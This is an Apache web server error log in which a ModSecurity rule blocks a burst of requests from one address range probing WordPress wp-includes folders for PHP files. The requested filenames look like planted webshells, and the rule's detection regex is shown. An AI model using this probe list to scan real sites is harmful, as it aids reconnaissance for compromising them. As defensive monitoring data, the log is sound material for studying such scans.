[Sun Mar 15 10:47:53.496668 2026] [:error] [pid 9995:tid 10011] [client 212.30.33.94:61989] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "abYd2Qa8xkcaSmgTbwg6sgAAAQ0"]
[Sun Mar 15 10:47:55.157247 2026] [:error] [pid 38645:tid 38664] [client 212.30.33.93:62619] [client 212.30.33.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-oembed-path.php"] [unique_id "abYd2xFPHtsDUuVrWDa4BAAAANE"]
[Sun Mar 15 10:47:56.842594 2026] [:error] [pid 38536:tid 38575] [client 212.30.33.100:43389] [client 212.30.33.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/11.php"] [unique_id "abYd3PpTEqkVJ0rBEWvP7wAAABY"]
[Sun Mar 15 10:47:58.499681 2026] [:error] [pid 38645:tid 38669] [client 212.30.33.190:35953] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.tag.apetag-float.php"] [unique_id "abYd3hFPHtsDUuVrWDa4NQAAANY"]
[Sun Mar 15 10:48:01.007323 2026] [proxy_fcgi:error] [pid 9995:tid 10007] [client 212.30.33.76:50213] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:48:01.820451 2026] [:error] [pid 9995:tid 10009] [client 212.30.33.76:50213] [client 212.30.33.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "abYd4Qa8xkcaSmgTbwg7BAAAAQs"]
[Sun Mar 15 10:48:03.487399 2026] [:error] [pid 9995:tid 10006] [client 212.30.33.74:33615] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-block-method.php"] [unique_id "abYd4wa8xkcaSmgTbwg7FgAAAQg"]
[Sun Mar 15 10:48:05.128397 2026] [:error] [pid 9995:tid 10006] [client 212.30.33.92:31907] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/search/class-wp-rest-search-handlers.php"] [unique_id "abYd5Qa8xkcaSmgTbwg7KAAAAQg"]
[Sun Mar 15 10:48:06.361357 2026] [:error] [pid 42570:tid 42587] [client 212.30.33.64:55163] [client 212.30.33.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/edit.php"] [unique_id "abYd5sIUXZJLmk_gYCOnTgAAAY4"]
[Sun Mar 15 10:48:08.809013 2026] [:error] [pid 9995:tid 10014] [client 212.30.33.190:22067] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/zoomab.php"] [unique_id "abYd6Aa8xkcaSmgTbwg7VgAAARA"]
[Sun Mar 15 10:48:09.641291 2026] [proxy_fcgi:error] [pid 9995:tid 10003] [client 212.30.33.90:25127] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:48:11.701030 2026] [:error] [pid 9995:tid 10004] [client 212.30.33.90:25127] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mrs.php"] [unique_id "abYd6wa8xkcaSmgTbwg7cQAAAQY"]
[Sun Mar 15 10:48:12.540708 2026] [:error] [pid 42570:tid 42593] [client 212.30.33.54:49435] [client 212.30.33.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/abc.php"] [unique_id "abYd7MIUXZJLmk_gYCOn4QAAAZQ"]
[Sun Mar 15 10:48:13.854632 2026] [:error] [pid 42570:tid 42585] [client 212.30.33.228:37049] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-date-query-cookie.php"] [unique_id "abYd7cIUXZJLmk_gYCOoHwAAAYw"]
[Sun Mar 15 10:48:15.916438 2026] [:error] [pid 42570:tid 42580] [client 212.30.33.166:30033] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/pp.php"] [unique_id "abYd78IUXZJLmk_gYCOoWgAAAYc"]
[Sun Mar 15 10:48:17.963155 2026] [:error] [pid 38540:tid 38590] [client 212.30.33.77:47865] [client 212.30.33.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-mail.php"] [unique_id "abYd8V8bnHsJ1dE90bIq7wAAAEQ"]
[Sun Mar 15 10:48:19.611547 2026] [:error] [pid 38540:tid 38605] [client 212.30.33.57:42137] [client 212.30.33.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "abYd818bnHsJ1dE90bIrDgAAAFM"]
[Sun Mar 15 10:48:20.887484 2026] [:error] [pid 42570:tid 42578] [client 212.30.33.74:43715] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "abYd9MIUXZJLmk_gYCOolwAAAYU"]
[Sun Mar 15 10:48:22.122330 2026] [:error] [pid 42570:tid 42574] [client 212.30.33.83:28309] [client 212.30.33.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "abYd9sIUXZJLmk_gYCOorwAAAYE"]
[Sun Mar 15 10:48:23.330103 2026] [:error] [pid 38645:tid 38659] [client 212.30.33.62:22525] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "abYd9xFPHtsDUuVrWDa5egAAAMw"]
[Sun Mar 15 10:48:24.561474 2026] [:error] [pid 50986:tid 51004] [client 212.30.33.78:48395] [client 212.30.33.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "abYd-CknK4c779bcQqH2mQAAAU8"]
[Sun Mar 15 10:48:26.170988 2026] [:error] [pid 42570:tid 42576] [client 212.30.33.73:32845] [client 212.30.33.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "abYd-sIUXZJLmk_gYCOo9gAAAYM"]
[Sun Mar 15 10:48:27.441365 2026] [:error] [pid 38645:tid 38653] [client 212.30.33.55:37209] [client 212.30.33.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "abYd-xFPHtsDUuVrWDa5twAAAMY"]
[Sun Mar 15 10:48:28.705578 2026] [:error] [pid 38645:tid 38663] [client 212.30.33.81:65013] [client 212.30.33.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "abYd_BFPHtsDUuVrWDa5xAAAANA"]
[Sun Mar 15 10:48:30.855507 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.190:30983] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "abYd_vpTEqkVJ0rBEWvRqgAAABA"]
[Sun Mar 15 10:48:32.502219 2026] [:error] [pid 38541:tid 38632] [client 212.30.33.78:20323] [client 212.30.33.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "abYeAHuOpex8jIO0jt5CdwAAAJM"]
[Sun Mar 15 10:48:33.700391 2026] [:error] [pid 9995:tid 10008] [client 212.30.33.85:24429] [client 212.30.33.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "abYeAQa8xkcaSmgTbwg8XAAAAQo"]
[Sun Mar 15 10:48:36.567364 2026] [:error] [pid 38645:tid 38656] [client 212.30.33.93:53399] [client 212.30.33.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "abYeBBFPHtsDUuVrWDa6LAAAAMk"]
[Sun Mar 15 10:48:38.196131 2026] [:error] [pid 38536:tid 38559] [client 212.30.33.92:20205] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "abYeBvpTEqkVJ0rBEWvR_AAAAAY"]
[Sun Mar 15 10:48:39.859088 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.86:40779] [client 212.30.33.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "abYeB_pTEqkVJ0rBEWvSEQAAABA"]
[Sun Mar 15 10:48:42.386920 2026] [:error] [pid 38540:tid 38591] [client 212.30.33.229:48795] [client 212.30.33.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "abYeCl8bnHsJ1dE90bIsRQAAAEU"]
[Sun Mar 15 10:48:43.192878 2026] [:error] [pid 42570:tid 42588] [client 212.30.33.190:62859] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "abYeC8IUXZJLmk_gYCOp8wAAAY8"]
[Sun Mar 15 10:48:45.015600 2026] [:error] [pid 38541:tid 38618] [client 212.30.33.98:64693] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "abYeDXuOpex8jIO0jt5DLQAAAIU"]
[Sun Mar 15 10:48:45.818291 2026] [:error] [pid 50986:tid 51013] [client 212.30.33.82:49873] [client 212.30.33.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "abYeDSknK4c779bcQqH3qQAAAVg"]
[Sun Mar 15 10:48:47.921404 2026] [:error] [pid 38536:tid 38562] [client 212.30.33.65:52099] [client 212.30.33.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "abYeD_pTEqkVJ0rBEWvSVQAAAAk"]
[Sun Mar 15 10:48:50.022950 2026] [:error] [pid 38541:tid 38615] [client 212.30.33.85:60287] [client 212.30.33.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "abYeEnuOpex8jIO0jt5DrAAAAII"]
[Sun Mar 15 10:48:51.645207 2026] [:error] [pid 38540:tid 38601] [client 212.30.33.84:61675] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "abYeE18bnHsJ1dE90bIsmgAAAE8"]
[Sun Mar 15 10:48:52.501141 2026] [:error] [pid 38540:tid 38609] [client 212.30.33.98:47381] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "abYeFF8bnHsJ1dE90bIsogAAAFc"]
[Sun Mar 15 10:48:53.337387 2026] [:error] [pid 9995:tid 10014] [client 212.30.33.87:30989] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "abYeFQa8xkcaSmgTbwg9GwAAARA"]
[Sun Mar 15 10:48:56.243133 2026] [:error] [pid 42570:tid 42594] [client 212.30.33.88:21829] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "abYeGMIUXZJLmk_gYCOq8AAAAZU"]
[Sun Mar 15 10:48:57.059435 2026] [:error] [pid 38536:tid 38560] [client 212.30.33.166:49623] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "abYeGfpTEqkVJ0rBEWvSpgAAAAc"]
[Sun Mar 15 10:48:57.879364 2026] [:error] [pid 38541:tid 38630] [client 212.30.33.97:64845] [client 212.30.33.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "abYeGXuOpex8jIO0jt5EGAAAAJE"]
[Sun Mar 15 10:49:00.338803 2026] [:error] [pid 42570:tid 42593] [client 212.30.33.58:33549] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "abYeHMIUXZJLmk_gYCOrQQAAAZQ"]
[Sun Mar 15 10:49:01.147888 2026] [:error] [pid 38541:tid 38619] [client 212.30.33.91:34097] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "abYeHXuOpex8jIO0jt5ESgAAAIY"]
[Sun Mar 15 10:49:01.955581 2026] [:error] [pid 42570:tid 42578] [client 212.30.33.99:56321] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "abYeHcIUXZJLmk_gYCOrVwAAAYU"]
[Sun Mar 15 10:49:02.811678 2026] [:error] [pid 38541:tid 38619] [client 212.30.33.166:52961] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/firewall.php"] [unique_id "abYeHnuOpex8jIO0jt5EZQAAAIY"]
[Sun Mar 15 10:49:04.044981 2026] [:error] [pid 50986:tid 50996] [client 212.30.33.58:61947] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/rk2.php"] [unique_id "abYeICknK4c779bcQqH43QAAAUc"]
[Sun Mar 15 10:49:04.851430 2026] [:error] [pid 50986:tid 50989] [client 212.30.33.54:45185] [client 212.30.33.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "abYeICknK4c779bcQqH4-gAAAUE"]
[Sun Mar 15 10:49:05.721796 2026] [:error] [pid 38645:tid 38652] [client 212.30.33.63:23879] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "abYeIRFPHtsDUuVrWDa79wAAAMU"]
[Sun Mar 15 10:49:09.875725 2026] [:error] [pid 50986:tid 51011] [client 212.30.33.228:58397] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "abYeJSknK4c779bcQqH5ewAAAVY"]
[Sun Mar 15 10:49:11.091786 2026] [:error] [pid 38536:tid 38575] [client 212.30.33.58:51035] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "abYeJ_pTEqkVJ0rBEWvTXQAAABY"]
[Sun Mar 15 10:49:12.814405 2026] [:error] [pid 38540:tid 38592] [client 212.30.33.73:62075] [client 212.30.33.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "abYeKF8bnHsJ1dE90bItwgAAAEY"]
[Sun Mar 15 10:49:15.634191 2026] [:error] [pid 38540:tid 38607] [client 212.30.33.81:32555] [client 212.30.33.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "abYeK18bnHsJ1dE90bIt7QAAAFU"]
